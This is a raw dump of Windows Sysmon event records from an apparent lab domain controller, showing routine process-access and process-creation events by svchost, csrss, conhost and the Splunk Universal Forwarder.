Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001682Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.184{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-3D00-000000007F01}3912C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001681Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.184{A5F018FF-28BD-5F80-0A00-000000007F01}852912C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001680Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28D0-5F80-3B00-000000007F01}38523872C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-3C00-000000007F01}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001679Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001678Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001677Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001676Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001675Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001674Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001673Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001672Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001671Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001670Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-3C00-000000007F01}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001669Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28D0-5F80-3A00-000000007F01}38443848C:\Windows\system32\cmd.exe{A5F018FF-28D0-5F80-3C00-000000007F01}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001668Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.168{A5F018FF-28D0-5F80-3C00-000000007F01}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvarsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-28D0-5F80-3A00-000000007F01}3844C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars 10341000x80000000000000001667Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.154{A5F018FF-28D0-5F80-3B00-000000007F01}38523872C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-3A00-000000007F01}3844C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001666Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.153{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-3B00-000000007F01}3852C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001665Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001664Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001663Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001662Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001661Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001660Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001659Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001658Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001657Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001656Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-3A00-000000007F01}3844C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001655Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.137{A5F018FF-28CF-5F80-2F00-000000007F01}25282516C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D0-5F80-3A00-000000007F01}3844C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+edcb8|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+f2b15|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 